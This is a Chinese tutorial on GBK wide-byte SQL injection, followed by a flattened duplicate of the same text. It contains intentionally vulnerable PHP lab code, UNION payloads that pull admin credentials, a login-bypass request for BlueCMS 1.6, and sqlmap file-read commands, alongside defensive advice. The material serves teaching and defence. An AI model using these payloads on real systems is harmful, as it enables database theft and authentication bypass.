Hr-Papers|宽字节注入深度讲解
字数 1920 2025-08-18 11:37:07

宽字节注入深度解析与防御指南

一、宽字节注入原理

1.1 基本概念

  • 宽字节:相对于ASCII单字节编码而言,如GB2312、GBK、GB18030、BIG5、Shift_JIS等
  • 编码特点
    • GBK编码汉字占用2个字节
    • UTF-8编码汉字占用3个字节
  • 转义函数:用于过滤用户输入的特殊字符,添加反斜杠""进行转义
    • MySQL常用转义函数:addslashes、mysql_real_escape_string、mysql_escape_string
    • PHP配置:magic_quote_gpc(高版本已移除)

1.2 SQL执行过程

  1. 客户端编码

    • PHP默认编码为空时,会根据数据库编码自动确定
    • 测试编码类型:
      <?php 
      $m = "字"; 
      echo strlen($m);  // 输出3为UTF-8,2为GBK
      
  2. 服务器处理

    • 使用character_set_client解码SQL语句
    • 使用character_set_connection对解码后的十六进制重新编码
  3. 内部操作转换

    • 优先使用字段CHARACTER SET设定值
    • 依次回退:表DEFAULT CHARACTER SET → 数据库DEFAULT CHARACTER SET → character_set_server
  4. 结果输出

    • 按照character_set_results编码输出结果

1.3 宽字节注入机制

  • 当MySQL使用GBK编码时,会认为两个字符是一个汉字(前一个ASCII码>128)
  • 注入过程:
    %df%27 ===(addslashes)===> %df%5c%27 ===(GBK)===> 運'
    
    • %5c是反斜杠""的十六进制
    • MySQL GBK编码将%df%5c识别为汉字"運",使单引号逃逸

二、实验环境搭建

2.1 实验1:基础宽字节注入

环境配置

  • 数据库名:test
  • 数据库编码:GBK
  • 关键代码:
    $conn = mysql_connect('localhost','root','root');
    mysql_query("SET NAMES 'gbk'");
    mysql_select_db('test',$conn);
    $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
    $sql = "SELECT * FROM news WHERE tid='{$id}'";
    

注入步骤

  1. 测试单引号转义:id=1' → 被转义为\'
  2. 使用宽字节逃逸:id=1%df' → 变为運'
  3. 注释多余单引号:id=1%df' -- '
  4. 确定字段数:id=1%df' order by 4 -- '
  5. 确定显示位:id=-1%df' union select 1,2,3 -- '
  6. 获取数据库信息:id=-1%df' union select 1,2,database() -- '
  7. 获取表信息(使用十六进制避免引号):
    id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374 -- '
    
  8. 获取字段信息:id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e -- '
  9. 获取数据:id=-1%df' union select 1,2,concat(name,char(58),pass) from admin -- '

2.2 实验2:iconv转换漏洞

环境特点

  • 使用iconv进行UTF-8到GBK转换
  • 关键代码:
    $id = iconv('utf-8','gbk',$id);
    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",$conn);
    

漏洞原理

  • 汉字"錦"的UTF-8编码:0xe98ca6,GBK编码:0xe55c
  • 注入过程:
    錦' ===(addslashes)===> 錦\' ===(iconv)===> %e5%5c%5c%27
    
    • %5c%5c转义反斜杠,使单引号逃逸

2.3 实验3:BlueCMS 1.6实战

漏洞位置/admin/login.php
利用方式

  1. 构造POST请求:
    POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    admin_name=admin%df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login
    
  2. 漏洞根源:
    • 设置SET NAMES gbk
    • 使用deep_addslashes()函数调用addslashes()
    • SQL语句:SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

三、防御措施

3.1 有效防御方案

  1. 指定字符集
    mysql_set_charset('gbk');
    // 或
    SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
    
  2. 使用mysql_real_escape_string
    • 考虑当前设置的字符集
    • 不会出现df和5c拼接为宽字节的问题

3.2 防御要点

  • 必须同时满足:
    1. 正确设置字符集
    2. 使用mysql_real_escape_string进行转义
  • 避免单独使用:
    • 仅设置字符集无法防御
    • 仅使用转义函数可能被宽字节绕过

四、工具利用

4.1 SQLMap使用

  1. 猜解当前用户:
    python sqlmap.py -u "127.0.0.1/index.php?id=1%df'" --current-user
    
  2. 读取服务器文件:
    python sqlmap.py -u "127.0.0.1/index.php?id=1%df'" --file-read="./index.php"
    
  3. 文件保存路径:/root/.sqlmap/output/127.0.0.1/files

五、参考资源

  1. 字符编码基础:http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
  2. 宽字节注入详解:https://lyiang.wordpress.com/2015/06/09/sql注入:宽字节注入(gbk双字节绕过)
宽字节注入深度解析与防御指南 一、宽字节注入原理 1.1 基本概念 宽字节 :相对于ASCII单字节编码而言,如GB2312、GBK、GB18030、BIG5、Shift_ JIS等 编码特点 : GBK编码汉字占用2个字节 UTF-8编码汉字占用3个字节 转义函数 :用于过滤用户输入的特殊字符,添加反斜杠"\"进行转义 MySQL常用转义函数:addslashes、mysql_ real_ escape_ string、mysql_ escape_ string PHP配置:magic_ quote_ gpc(高版本已移除) 1.2 SQL执行过程 客户端编码 : PHP默认编码为空时,会根据数据库编码自动确定 测试编码类型: 服务器处理 : 使用character_ set_ client解码SQL语句 使用character_ set_ connection对解码后的十六进制重新编码 内部操作转换 : 优先使用字段CHARACTER SET设定值 依次回退:表DEFAULT CHARACTER SET → 数据库DEFAULT CHARACTER SET → character_ set_ server 结果输出 : 按照character_ set_ results编码输出结果 1.3 宽字节注入机制 当MySQL使用GBK编码时,会认为两个字符是一个汉字(前一个ASCII码>128) 注入过程: %5c是反斜杠"\"的十六进制 MySQL GBK编码将%df%5c识别为汉字"運",使单引号逃逸 二、实验环境搭建 2.1 实验1:基础宽字节注入 环境配置 : 数据库名:test 数据库编码:GBK 关键代码: 注入步骤 : 测试单引号转义: id=1' → 被转义为 \' 使用宽字节逃逸: id=1%df' → 变为 運' 注释多余单引号: id=1%df' -- ' 确定字段数: id=1%df' order by 4 -- ' 确定显示位: id=-1%df' union select 1,2,3 -- ' 获取数据库信息: id=-1%df' union select 1,2,database() -- ' 获取表信息(使用十六进制避免引号): 获取字段信息: id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e -- ' 获取数据: id=-1%df' union select 1,2,concat(name,char(58),pass) from admin -- ' 2.2 实验2:iconv转换漏洞 环境特点 : 使用iconv进行UTF-8到GBK转换 关键代码: 漏洞原理 : 汉字"錦"的UTF-8编码:0xe98ca6,GBK编码:0xe55c 注入过程: %5c%5c转义反斜杠,使单引号逃逸 2.3 实验3:BlueCMS 1.6实战 漏洞位置 : /admin/login.php 利用方式 : 构造POST请求: 漏洞根源: 设置 SET NAMES gbk 使用 deep_addslashes() 函数调用 addslashes() SQL语句: SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd') 三、防御措施 3.1 有效防御方案 指定字符集 : 使用mysql_ real_ escape_ string : 考虑当前设置的字符集 不会出现df和5c拼接为宽字节的问题 3.2 防御要点 必须同时满足: 正确设置字符集 使用mysql_ real_ escape_ string进行转义 避免单独使用: 仅设置字符集无法防御 仅使用转义函数可能被宽字节绕过 四、工具利用 4.1 SQLMap使用 猜解当前用户: 读取服务器文件: 文件保存路径: /root/.sqlmap/output/127.0.0.1/files 五、参考资源 字符编码基础:http://www.ruanyifeng.com/blog/2007/10/ascii_ unicode_ and_ utf-8.html 宽字节注入详解:https://lyiang.wordpress.com/2015/06/09/sql注入:宽字节注入(gbk双字节绕过)